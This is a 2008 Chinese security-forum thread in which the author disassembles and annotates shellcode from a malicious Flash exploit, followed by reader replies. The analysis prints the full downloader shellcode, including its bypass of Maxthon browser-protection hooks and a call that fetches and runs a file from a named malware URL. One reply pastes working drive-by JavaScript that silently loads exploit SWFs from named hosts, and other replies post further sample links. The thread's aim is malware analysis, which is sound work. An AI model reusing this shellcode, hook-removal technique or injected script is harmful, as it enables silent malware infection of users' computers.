首页
论坛
专栏
课程

[原创]flash漏洞所用shellcode的分析

2008-6-2 19:29 823402

[原创]flash漏洞所用shellcode的分析

2008-6-2 19:29
823402
作者主页: http://hi.baidu.com/yicong2007
目    的: 纯属学习,请勿用于恶意用途

最近几天flash漏洞的网马非常流行,于是我想分析一下shellcode是怎么跑的。

但是能力所限,还难以像大牛们一样定位到有漏洞的代码及观察整个溢出过程。于是,我只能做后面一部分工作,即看看那个畸形flash文件中的shellcode长得什么样子,它运行起来会有什么动作。

我使用的是从网站抓下来的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在文件头偏移0xEB处开始。之后我将这段shellcode拷贝到一个可执行文件的入口点开头处,这样我就可以在OD里直接调试shellcode了。

调试过程中我发现,由于flash这次的漏洞,真的给了一个很充裕的空间让编写者尽情地发挥他们的shellcode编写才能,我看到了一个比以往任何一个利用ActiveX漏洞的shellcode都要复杂的shellcode。

该shellcode的功能很全面,不但有一般shellcode的xor加密,获取API地址和执行下载病毒并运行的操作,还有更多的操作使得shellcode更加的强悍而实用。
这些操作包括:

1. shellcode有效时间限制,当发现系统时间迟于shellcode中保存的一个固定时间时,直接ExitThread。这应该是flash网马生成器发布者所做的,可能出于商业考虑,避免别人通过简单修改病毒URL地址而生成自己的利用文件。

2. 从kernel32.dll的输入表中取ZwCreateProcessEx(win2000时为NtCreateProcess)、ZwWriteVirtualMemory的地址,对这两处地址进行inline hook,hook到自身保存的相应的原始代码中,并对CreateProcessInternalW的前面几个字节进行了inline hook的还原。
这些操作都是针对MAXTHON等使用以上API HOOK方式对游览器进行执行保存的措施而出台的anti方式。虽然这种方法早已被提出,是大家皆知的,但是在以前的网马应用中,由于可用的缓冲区并不是那么大,不适于加入这些额外的代码,因此我一直没有看到还原hook过浏览器保护方法的实际利用。而在这次,我终于看到了一个实际利用的例子。

3. 使用CreateProcessInternalA进行最后下载到本机的病毒文件的执行。以前一般的shellcode是用WinExec。


下面是shellcode执行流程的分析,分析基本在注释当中,标号(1)、(2)……是代码的执行流程顺序,依照标号便可容易理解整个流程。

首先开始是一次xor解密,每两个字节进行异或,而且每次异或的操作数随着改变。

00407000 > /EB 16           jmp     short 00407018                                   ; (1)F8
00407002   |5B              pop     ebx                                              ; (3)
00407003   |33C9            xor     ecx, ecx
00407005   |66:B8 2245      mov     ax, 4522
00407009   |66:31044B       xor     word ptr [ebx+ecx*2], ax                         ; xor解密
0040700D   |41              inc     ecx
0040700E   |40              inc     eax
0040700F   |66:81F9 6201    cmp     cx, 162
00407014  ^|7C F3           jl      short 00407009                                   ; (4)循环,在下面一句F4
00407016   |EB 05           jmp     short 0040701D                                   ; (5)再F8一下,跳入解密后的代码
00407018   \E8 E5FFFFFF     call    00407002                                         ; (2)F7

接下来是解密后的实际代码

首先是取得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很常用的方法,通过PEB得到kernel32.dll的基址,然后通过遍历其输出表,把每一函数名称字符串经过一个加密运算,再将结果与输入的值比较,进而找到符合的API函数位置。

0040701D    E9 65020000     jmp     00407287                                         ; (6)解密后代码开头,往下跳到最后
00407022    5F              pop     edi                                              ; (8)定位自身地址,此时为后面数据区地址
00407023    6A 30           push    30
00407025    59              pop     ecx
00407026    64:8B01         mov     eax, dword ptr fs:[ecx]                          ; _PEB
00407029    8B98 A8000000   mov     ebx, dword ptr [eax+A8]                          ; _PEB.OSMijorVersion
0040702F    8B40 0C         mov     eax, dword ptr [eax+C]
00407032    8B70 1C         mov     esi, dword ptr [eax+1C]
00407035    AD              lods    dword ptr [esi]
00407036    8B68 08         mov     ebp, dword ptr [eax+8]                           ; (9)kernel32.dll基址入ebp
00407039    8BF7            mov     esi, edi
0040703B    81EC 00020000   sub     esp, 200
00407041    85DB            test    ebx, ebx
00407043    75 07           jnz     short 0040704C                                   ; (10)判断是2000的系统还是XP,我这里是XP,直接跳走
00407045    C746 24 C9525E5>mov     dword ptr [esi+24], 535E52C9                     ; 如是2000系统,则修改下面的数据,这样在2000时获取到的是NtCreateProcess,而在XP则是NtCreateProcessEx
0040704C    6A 09           push    9
0040704E    59              pop     ecx
0040704F    E8 EE010000     call    00407242                                         ; (11)这里F8就可以了,依照数据区开头的几个加密结果,遍历输出表找函数,把函数地址覆盖掉原来的加密结果
00407054  ^ E2 F9           loopd   short 0040704F                                   ; 循环,直接在下面F4

这里填入的API地址依次为(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime

接着搜索内存得到一个“retn”命令位置(实际上不一定是retn命令),用于后面的anti-debug。

00407056    40              inc     eax                                              ; GetSystemTimeAsFileTime
00407057    8038 C3         cmp     byte ptr [eax], 0C3
0040705A  ^ 75 FA           jnz     short 00407056                                   ; (12)循环搜索内存特征,其实是为了借用一个retn代码来改变程序流程反调试
0040705C    8946 30         mov     dword ptr [esi+30], eax                          ; 这里搜索到的是7C801881

再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。

0040705F    6A 02           push    2
00407061    59              pop     ecx
00407062    E8 9E010000     call    00407205                                         ; 再次搜索输出表得到函数地址
00407067  ^ E2 F9           loopd   short 00407062

这里取到的地址是(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)

0x24 ZwCreateProcessEx(win2000时为NtCreateProcess)
0x28 ZwWriteVirtualMemory

接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。值得一提的是这里不是直接call而是用在子函数里用先push返回地址再jmp的方式。

00407069    6A 01           push    1
0040706B    59              pop     ecx
0040706C    68 6F6E0000     push    6E6F
00407071    68 75726C6D     push    6D6C7275
00407076    54              push    esp                                              ; 'urlmon'
00407077    8B06            mov     eax, dword ptr [esi]                             ; LoadLibraryA
00407079    E8 10010000     call    0040718E                                         ; (13)一个纯为了anti-debug而搞出来的子函数,直接在下一句下断,再F9就不会跑飞
0040707E    95              xchg    eax, ebp                                         ; urlmon.dll基址入ebp
0040707F    E8 BE010000     call    00407242                                         ; (14)又找函数地址并保存,直接F8,可以看到找到的函数是URLDownloadToFileA

URLDownloadToFileA函数地址被保存在[esi+2C]

在进入实质工作之前,就是附加的操作。

首先是时间限制的验证
00407084    68 3D400000     push    403D                                             
00407089    6A FF           push    -1
0040708B    6A FF           push    -1
0040708D    3E:DB2C24       fld     tbyte ptr ds:[esp]
00407091    50              push    eax                                              ; 只是在堆栈腾出FILETIME结构的内存空间
00407092    50              push    eax
00407093    54              push    esp
00407094    FF56 20         call    dword ptr [esi+20]                               ; GetSystemTimeAsFileTime
00407097    8BC4            mov     eax, esp
00407099    68 6EC2C801     push    1C8C26E
0040709E    68 00C0B336     push    36B3C000
004070A3    54              push    esp
004070A4    50              push    eax
004070A5    FF56 1C         call    dword ptr [esi+1C]                               ; CompareFileTime
004070A8    48              dec     eax
004070A9    75 03           jnz     short 004070AE                                   ; (16)系统时间如果晚于设定好的时间,则不跳走
004070AB    FF56 10         call    dword ptr [esi+10]                               ; 这样就直接ExitThread了,也就是这个shellcode的时间限制

我调试的时候,已经过了允许时间了,所以本来就会直接ExitThread,这时可以自己强行把EIP改到下一句,不让它退出,继续调试。

接下来的部分我认为比较让我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原样代码,在这里对NATIVE API进行了inline hook,hook到shellcode自带的原样代码中,以及把CreateProcessInternalW前面的几个字节进行了还原,从而破坏了一些软件的浏览器执行保护功能,为自己执行被下载的病毒程序扫清了障碍,这是它优于此前我所见到的漏洞利用shellcode的重要关键。

首先是将自身保存的NATIVE API原样代码拷贝到PEB后面的空间中。
之所以要拷贝到这里,我想是为了运行的稳定,如果inline hook直接指向shellcode内部,那么shellcode执行完被清理掉之后,程序再调用相应NATIVE API的时候,就会崩溃掉。这里把代码拷进PEB后面的空间,可以保证在shellcode退出后这部分地址仍然能够正常访问,程序也还能正常运行(至少看起来是那样)。

004070AE    6A 30           push    30
004070B0    59              pop     ecx
004070B1    64:8B19         mov     ebx, dword ptr fs:[ecx]
004070B4    8DAB 00040000   lea     ebp, dword ptr [ebx+400]                         ; (17)在PEB结构后面找到一块空着的内存
004070BA    8B9B A8000000   mov     ebx, dword ptr [ebx+A8]                          ; 再次确定是2000、XP还是2003系统,以在下面选择不同的跳转目标
004070C0    8BFD            mov     edi, ebp
004070C2    56              push    esi
004070C3    E9 E0000000     jmp     004071A8                                         ; (18)跳到下面
004070C8    5E              pop     esi                                              ; (20)跳回这里
004070C9    F3:A5           rep     movs dword ptr es:[edi], dword ptr [esi]         ; 把下面那些摸拟NATIVE API的代码拷进这块内存,用于后面inline hook
004070CB    5E              pop     esi

接着,将“找到的”ZwCreateProcessEx(win2000时为NtCreateProcess)和ZwWriteVirtualMemory的最前面部分,修改为“push XXX,retn”的样式,以跳到之前拷贝的代码中。注意这里考虑了win2000/XP/2003三种情况。

004070CC    8B7E 24         mov     edi, dword ptr [esi+24]                          ; ZwCreateProcessEx
004070CF    E8 25010000     call    004071F9                                         ; VirtualProtect改函数头0x20为可读可写
004070D4    6A 1A           push    1A                                               ; 2003时NtCreateProcessEx对应的原始代码偏移
004070D6    6A 0D           push    0D                                               ; XP时NtCreateProcessEx对应的原始代码偏移
004070D8    6A 00           push    0                                                ; 2000时NtCreateProcess对应的原始代码偏移
004070DA    8BC5            mov     eax, ebp
004070DC    03049C          add     eax, dword ptr [esp+ebx*4]                       ; 根据版本选择不同的代码(以刚刚压栈的偏移量确定)
004070DF    C607 68         mov     byte ptr [edi], 68                               ; 代码"push……"
004070E2    47              inc     edi
004070E3    AB              stos    dword ptr es:[edi]                               ; 内存中拷贝的代码
004070E4    C607 C3         mov     byte ptr [edi], 0C3                              ; ret……
004070E7    8B7E 28         mov     edi, dword ptr [esi+28]                          ; ZwWriteVirtualMemory
004070EA    E8 0A010000     call    004071F9
004070EF    6A 3D           push    3D                                               ; 2003中ZwWriteVirtualMemory的原始代码偏移,同ZwCreateProcess(Ex)的情况
004070F1    6A 36           push    36
004070F3    6A 27           push    27
004070F5    8BC5            mov     eax, ebp
004070F7    03049C          add     eax, dword ptr [esp+ebx*4]
004070FA    C607 68         mov     byte ptr [edi], 68
004070FD    47              inc     edi
004070FE    AB              stos    dword ptr es:[edi]
004070FF    C607 C3         mov     byte ptr [edi], 0C3

为什么我上面特别强调“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址处”?
我们千万不要忘记,这个做法是针对某些软件的,冲着哪个软件?
我想到了MAXTHON2。

搜索一下关于MAXTHON2的浏览器执行保护的文章,很早的文章显示,MAXTHON2正是对ZwCreateProcessEx和ZwWriteVirtualMemory进行了IAT HOOK。
而现在呢,shellcode从kernel32.dll的输入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,这意味着什么?
我大胆假设,当MAXTHON2游览漏洞利用网页的时候,shellcode的执行环境就在其进程中,那么,这时shellcode从kernel32.dll的输入表中取到的地址,正是被MAXTHON2给hook掉的结果,直接到了MAXTHON2的dll里面去了。
这是shellcode作者有意而为之,因为接着它对这两个地址的代码进行了inline hook,又实际上转回了原始的代码。
这样MAXTHON2就在完全没有察觉自己的IAT HOOK失效(本来就没有失效)的情况下,其执行保护被绕过了。
接下来的动作进一步证实了这一点,对CreateProcessInternalW开头的代码进行还原,这岂不是又正针对MAXTHON2对CreateProcessInternalW的inlline hook?!


00407102    8B7E 18         mov     edi, dword ptr [esi+18]                          ; CreateProcessInternalW
00407105    E8 EF000000     call    004071F9
0040710A    68 68080A00     push    0A0868                                          
0040710F    68 68080A00     push    0A0868
00407114    68 558BEC6A     push    6AEC8B55
00407119    8B049C          mov     eax, dword ptr [esp+ebx*4]
0040711C    AB              stos    dword ptr es:[edi]                               ; 还原前面的几个字节,还原inline hook
0040711D    33C0            xor     eax, eax
0040711F    50              push    eax
00407120    50              push    eax
00407121    6A FF           push    -1
00407123    8B049C          mov     eax, dword ptr [esp+ebx*4]
00407126    AA              stos    byte ptr es:[edi]

做完了这些操作,shellcode最后终于进入自己的实质性工作了。

首先,得到Temp文件夹地址,并在后面加入“orz.exe”,作为病毒文件的本地地址

00407127    8DBE 33010000   lea     edi, dword ptr [esi+133]
0040712D    57              push    edi
0040712E    68 FF000000     push    0FF
00407133    FF56 04         call    dword ptr [esi+4]                                ; GetTempPathA
00407136    03C7            add     eax, edi
00407138    C700 6F727A2E   mov     dword ptr [eax], 2E7A726F                        ; 往得到的temp文件夹路径后面加入文件名
0040713E    C740 04 6578650>mov     dword ptr [eax+4], 657865                        ; 加入的文件名为"orz.exe"

为保险,先尝试把这个路径的文件删除。

00407145    57              push    edi
00407146    FF56 08         call    dword ptr [esi+8]                                ; DeleteFileA

然后直接调用URLDownloadToFileA,从远程地址http://www.0x4f.cn/test.exe下载病毒文件到orz.exe

00407149    33DB            xor     ebx, ebx
0040714B    53              push    ebx
0040714C    53              push    ebx
0040714D    57              push    edi
0040714E    8D46 34         lea     eax, dword ptr [esi+34]                          ; URL地址,"http://www.0x4f.cn/test.exe"
00407151    50              push    eax
00407152    53              push    ebx
00407153    FF56 2C         call    dword ptr [esi+2C]                               ; URLDownloadToFileA

最后,shellcode执行所下载的文件,注意它使用了CreateProcessInternalA来进行。由于前面已经清除了对CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保护,病毒作者坚信此时使用CreateProcessInternalA有非常大的可能可以成功。

00407156    33C0            xor     eax, eax
00407158    8BFC            mov     edi, esp
0040715A    6A 12           push    12
0040715C    59              pop     ecx
0040715D    AB              stos    dword ptr es:[edi]
0040715E  ^ E2 FD           loopd   short 0040715D                                   ; 循环,在堆栈中清出一块全0的空间
00407160    66:C74424 3C 01>mov     word ptr [esp+3C], 101
00407167    8BFC            mov     edi, esp
00407169    8D47 10         lea     eax, dword ptr [edi+10]
0040716C    51              push    ecx
0040716D    57              push    edi
0040716E    50              push    eax
0040716F    51              push    ecx
00407170    51              push    ecx
00407171    51              push    ecx
00407172    51              push    ecx
00407173    51              push    ecx
00407174    51              push    ecx
00407175    51              push    ecx
00407176    8D96 33010000   lea     edx, dword ptr [esi+133]                         ; 本地地址orz.exe
0040717C    52              push    edx
0040717D    51              push    ecx
0040717E    FF56 0C         call    dword ptr [esi+C]                                ; CreateProcessInternalA
00407181    81C4 54020000   add     esp, 254
00407187    61              popad
00407188    FF71 EC         push    dword ptr [ecx-14]                               ; 这里应该会跳回原来溢出的位置,让程序正常运行下去
0040718B    C2 0400         retn    4

下面是前面的代码调用到的子函数及数据。

首先是摸拟call的函数

0040718E    8B56 30         mov     edx, dword ptr [esi+30]                          ; (14)
00407191    41              inc     ecx
00407192    5B              pop     ebx
00407193    52              push    edx                                             
00407194    03E1            add     esp, ecx
00407196    03E1            add     esp, ecx
00407198    03E1            add     esp, ecx
0040719A    03E1            add     esp, ecx
0040719C    83EC 04         sub     esp, 4
0040719F    5A              pop     edx
004071A0    53              push    ebx
004071A1    8BDA            mov     ebx, edx
004071A3  ^ E2 F7           loopd   short 0040719C
004071A5    52              push    edx                                              ; 返回地址入栈,这里刚好是一个retn命令
004071A6    FFE0            jmp     eax                                              ; jmp进API函数开头

接着是中间一个为了重定位所做的回call

004071A8    E8 1BFFFFFF     call    004070C8                                         ; (19)再一次为了重定位而跳回,这里必须F7

再接着是被拷贝的NATIVE API原始代码:

004071AD    6A 29           push    29                                               ; win2000中NtCreateProcess
004071AF    58              pop     eax
004071B0    36:8D5424 04    lea     edx, dword ptr [esp+4]
004071B5    CD 2E           int     2E
004071B7    C2 2000         retn    20

004071BA    6A 30           push    30                                               ; XP中ZwCreateProcessEx
004071BC    58              pop     eax
004071BD    BA 0003FE7F     mov     edx, 7FFE0300
004071C2    FF12            call    dword ptr [edx]
004071C4    C2 2000         retn    20

004071C7    6A 32           push    32                                               ; win2003中ZwCreateProcessEx
004071C9    58              pop     eax
004071CA    BA 0003FE7F     mov     edx, 7FFE0300
004071CF    FF12            call    dword ptr [edx]
004071D1    C2 2400         retn    24

004071D4    B8 F0000000     mov     eax, 0F0                                         ; win2000中ZwWriteVirtualMemory
004071D9    36:8D5424 04    lea     edx, dword ptr [esp+4]
004071DE    CD 2E           int     2E
004071E0    C2 1400         retn    14

004071E3    B8 15010000     mov     eax, 115                                         ; XP中ZwWriteVirtualMemory
004071E8    EB 05           jmp     short 004071EF
004071EA    B8 1F010000     mov     eax, 11F                                         ; win2003中ZwWriteVirtualMemory,与XP的情况一部分代码共用
004071EF    BA 0003FE7F     mov     edx, 7FFE0300
004071F4    FF12            call    dword ptr [edx]
004071F6    C2 1400         retn    14

接下来是用VirtualProtect改API函数入口的页保护属性的子函数

004071F9    52              push    edx                                             
004071FA    54              push    esp
004071FB    6A 04           push    4
004071FD    6A 20           push    20
004071FF    57              push    edi
00407200    FF56 14         call    dword ptr [esi+14]                               ; ViturlProtect,修改函数前面0x20字节为可读可写
00407203    5A              pop     edx
00407204    C3              retn

接下来是遍历kernel32.dll的输入表找NATIVE API地址的函数,这些都是通用函数,shellcode用得比较多,就懒于再注释了。

00407205    51              push    ecx
00407206    8B45 3C         mov     eax, dword ptr [ebp+3C]
00407209    45              inc     ebp
0040720A    8B5C28 7F       mov     ebx, dword ptr [eax+ebp+7F]
0040720E    4D              dec     ebp
0040720F    03DD            add     ebx, ebp
00407211    8B13            mov     edx, dword ptr [ebx]
00407213    03D5            add     edx, ebp
00407215    33C9            xor     ecx, ecx
00407217    49              dec     ecx
00407218    41              inc     ecx
00407219    8B048A          mov     eax, dword ptr [edx+ecx*4]
0040721C    8D4428 02       lea     eax, dword ptr [eax+ebp+2]
00407220    60              pushad
00407221    33C9            xor     ecx, ecx
00407223    0FBE10          movsx   edx, byte ptr [eax]
00407226    3AD6            cmp     dl, dh
00407228    74 08           je      short 00407232
0040722A    C1C9 07         ror     ecx, 7
0040722D    03CA            add     ecx, edx
0040722F    40              inc     eax
00407230  ^ EB F1           jmp     short 00407223
00407232    390F            cmp     dword ptr [edi], ecx
00407234    61              popad
00407235  ^ 75 E1           jnz     short 00407218
00407237    8B43 10         mov     eax, dword ptr [ebx+10]
0040723A    03C5            add     eax, ebp
0040723C    8B0488          mov     eax, dword ptr [eax+ecx*4]
0040723F    AB              stos    dword ptr es:[edi]
00407240    59              pop     ecx
00407241    C3              retn

代码内容最后是遍历PE文件输出表得到API函数地址的子函数,同样是通用的模块,也懒于第N次注释了:

00407242    51              push    ecx
00407243    56              push    esi
00407244    8B75 3C         mov     esi, dword ptr [ebp+3C]
00407247    8B742E 78       mov     esi, dword ptr [esi+ebp+78]
0040724B    03F5            add     esi, ebp
0040724D    56              push    esi
0040724E    8B76 20         mov     esi, dword ptr [esi+20]
00407251    03F5            add     esi, ebp
00407253    33C9            xor     ecx, ecx
00407255    49              dec     ecx
00407256    41              inc     ecx
00407257    AD              lods    dword ptr [esi]
00407258    03C5            add     eax, ebp
0040725A    33DB            xor     ebx, ebx
0040725C    0FBE10          movsx   edx, byte ptr [eax]
0040725F    3AD6            cmp     dl, dh
00407261    74 08           je      short 0040726B
00407263    C1CB 07         ror     ebx, 7
00407266    03DA            add     ebx, edx
00407268    40              inc     eax
00407269  ^ EB F1           jmp     short 0040725C
0040726B    3B1F            cmp     ebx, dword ptr [edi]
0040726D  ^ 75 E7           jnz     short 00407256
0040726F    5E              pop     esi
00407270    8B5E 24         mov     ebx, dword ptr [esi+24]
00407273    03DD            add     ebx, ebp
00407275    66:8B0C4B       mov     cx, word ptr [ebx+ecx*2]
00407279    8B5E 1C         mov     ebx, dword ptr [esi+1C]
0040727C    03DD            add     ebx, ebp
0040727E    8B048B          mov     eax, dword ptr [ebx+ecx*4]
00407281    03C5            add     eax, ebp
00407283    AB              stos    dword ptr es:[edi]
00407284    5E              pop     esi
00407285    59              pop     ecx
00407286    C3              retn
00407287    E8 96FDFFFF     call    00407022                                         ; (7)call回来,这里要F7

代码内容在这里结束,后面是数据区,包括保存的API函数的地址(shellcode开始时为加密值,找到API地址后被替换为地址)以及下载的病毒URL,shellcode中屡屡用[esi+XX]的方式来访问这部分内容,依照相对偏移依次为:

0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
0x24 ZwCreateProcessEx(win2000时为NtCreateProcess)
0x28 ZwWriteVirtualMemory
0x2C URLDownloadToFileA
0x30 搜索到的一句可用为retn的代码地址
0x34 ASCII "http://www.0x4f.cn/test.exe"

至此,该shellcode分析完毕。应该说它是我见到的在实际应用中功能较为齐全的shellcode了,作者的一些构思都是有明显实用目的的倾向的,也看出作者对编写shellcode有一定的经验和能力。

本篇分析只涉及shellcode所作的动作,对于此漏洞如何被触发并使得shellcode被执行,因能力所限尚未能探究出来。

本人能力有限,这方面只是个菜鸟,以上分析难免有错漏之处,还请大家不吝指正。

update: 刚刚加入了关于win2000和win2003情况下的相关代码注释,这个shellcode因为要对两个NATIVE API进行inline hook,对win2000/XP/2003准备了三套NATIVE API原始代码,在shellcode中通过_PEB.OSMijorVersion进行判断。

[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (83)
轩辕小聪 7 2008-6-2 19:52
2
0
附件即我的分析对象,也就是其中一个漏洞利用的.swf
上传的附件:
luzechao 2008-6-2 19:58
3
0
楼主很强啊....
保存了回去看....
bbiverson 2008-6-2 20:56
4
0
很好很强大~认真学习!
hzqedison 2008-6-2 21:00
5
0
支持小聪 越来越牛了
kanxue 8 2008-6-2 21:03
6
0
比较有深度的文章,就移 『软件调试论坛』  收藏了
leeren 2008-6-2 21:25
7
0
小聪很不错。
zhuliang 5 2008-6-2 22:07
8
0
强烈支持小聪大侠。
lOOp 2008-6-2 23:48
9
0
太强了。
"在文件头偏移0xEB处开始"
不知道是怎么找的??
请问找这些代码有什么好的方法吗?
xihuanxue 2008-6-3 06:52
10
0
楼主太强大了..保存下来慢慢啃了
舵手 3 2008-6-3 08:32
11
0
牛人,学习~~~~
qhkest 2008-6-3 09:01
12
0
正在找这个。呵。谢过了。楼主
orichi 2008-6-3 10:04
13
0
shellcode的书我在china-pub上只看到过一本,而且是英文版的,国内也有如此高手,可喜的,我又有很多东西可以学了。。。
zhuwg 11 2008-6-3 11:11
14
0
进来膜拜大牛 ing
快雪时晴 4 2008-6-3 11:12
15
0
shellcode终于做大做强了
以往看的缓冲区溢出shellcode都做得极其短小精悍,却也限制了应用
kingmanscu 2008-6-3 11:17
16
0
强 大侠分析透彻
nbw 24 2008-6-3 12:47
17
0
这个分析的不错,没看明白怎么找到swf的那个E8位置的,回头学习学习
commport 2008-6-3 13:01
18
0
这样的帖子要顶
combojiang 26 2008-6-3 13:04
19
0
好文,学习了。
arries 2008-6-3 13:08
20
0
我是在ida中一个地址一个地址的按c,这样找到的
commport 2008-6-3 13:12
21
0
来再贴一个样本地址
看来我和你拿到的样本有区别
http://user1.link980.cn/ad01.swf
你的是1.5k的样本,这个样本更精简 1.3K
上传的附件:
busy 2008-6-3 13:41
22
0
看来前不久Adobe公布了SWF等文件格式的官方文档后腰有一段时间经历shellcode了
commport 2008-6-3 14:39
23
0
IDA -> iexplorer -> 菜单 -> Debugger Option ... -> EXCEPTIONS: [EDIT] -> EXCEPTION_GUARD_PAGE -> 状态为 stop
wangshy 2 2008-6-3 15:12
24
0
flasm -x ad01.swf
ad01.swf successfully decompressed, 1544 bytes
forgot 26 2008-6-3 15:14
25
0
不久shellcode也要有vm了
秋叶濛濛 2008-6-3 15:17
26
0
占楼向晓聪学习
nbw 24 2008-6-3 19:08
27
0
o,酱紫r,学习了。
naitai 2008-6-3 20:31
28
0
楼主太厉害了,膜拜。。。
wyfe 2008-6-3 21:02
29
0
  恐怖
q3 watcher 2008-6-3 21:12
30
0
膜拜一下
commport 2008-6-3 22:29
31
0
顶,果然都是漏洞利用专家
commport 2008-6-3 22:30
32
0
能绕过comodo的内存防火墙吗?
这东西那天看到的时候吓我一跳,啥时候这东西竟然做成了防火墙了
HSQ 8 2008-6-4 08:08
33
0
学习,还久没玩shellcode了,感觉有些陌生了
commport 2008-6-4 08:34
34
0
防止堆栈溢出攻击这种技术应该不可能是VM技术
有几种比较不错的技术
1.  使用内存页边界检测和访问权限技术(这种技术比较容易实现,且操作系统的通用性好)
2.  使用Ldr堆地址重定位技术,这种技术实现起来和操作系统密切相关,哪怕一个补丁也可能引发BOSD危险,这种技术在网上能找到文档
3.  esp,eip执行断点检测技术,这种技术我不是很清楚
commport 2008-6-4 11:03
35
0
当有人在研究如何利用漏洞执行shellcode散播病毒的时候,大部分人都爱上了shellcode的研究
而在这个时候有人却在研究如何能防止shellcode的漏洞利用
我试问各位安全界的高手,你们属于哪一种人?
是沉迷于shellcode的人呢,还是真正做安全的人

看到一个这样的签名

网络本来很安全,但当有了安全人员出现以后网络就变得很不安全了
svvchost 2008-6-4 23:41
36
0
你用什么样的exe进行OD调试阿?将开头粘贴后,到xor 那一步,则无法进行下去,f4也不行?
svvchost 2008-6-4 23:42
37
0
希望大虾们进行回答
轩辕小聪 7 2008-6-5 00:18
38
0
植入的exe那个区段属性必须是RWE,即可读可写可执行(shellcode用xor解密自身的代码,所以区段必须可写,否则会发生0xC0000005内存访问错误),可直接用LordPE修改该区段属性达到目的。
freehmh 2008-6-5 11:16
39
0
好强悍。。。收下。。研究之
coderui 2 2008-6-5 21:04
40
0
写的这么多字,很详细嘛。
居然还加高亮显示?你很强啊(时间真多),呵呵!
过来帮你顶下!
herx 2 2008-6-5 21:15
41
0
看起来不错,现在忙啊,等有时间学习学习。。。
小叶子 2008-6-5 21:47
42
0
很好的文章
收藏了慢慢看
丰丰 2008-6-6 10:48
43
0
你很强大,我很佩服
loveboom 53 2008-6-6 11:30
44
0
怎么这么多病毒抄那个模块呀.......
wangweimin 2008-6-6 19:40
45
0
window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1){
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain"/>');
document.write('<param name="movie" value="http://mmlan.com.cn/4561.swf"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src="http://mmlan.com.cn/ie.swf"/>');
document.write('</object>');
}else
{document.write("<EMBED src=http://mmlan.com.cn/4562.swf width=0 height=0>");}}
学习 2008-6-7 14:54
46
0
楼上当中的一些代码会下载“机器狗”!!!请大家小心。
http://mmlan.com.cn/4561.swf
http://mmlan.com.cn/ie.swf
我下载后打开,就中了……
目前只找到感染explorer.exe及时关了很多下载。(会自动下载很多……,抓到有好多,当中的11111.exe壳搞不定……)
wangweimin 2008-6-7 22:14
47
0
  晕,你用ie打开干啥啊
用wget

这个是cnBeta.com上面挂的马
里边的驱动,挺有意思,还骂了金山,呵呵
maikkk 2008-6-11 10:35
48
0
又系漏洞,怕怕,学习学习
chyichin 2008-6-13 15:54
49
0
学习....很强悍
5151 2008-6-13 18:39
50
0
学习。谢谢分享
游客
登录 | 注册 方可回帖
返回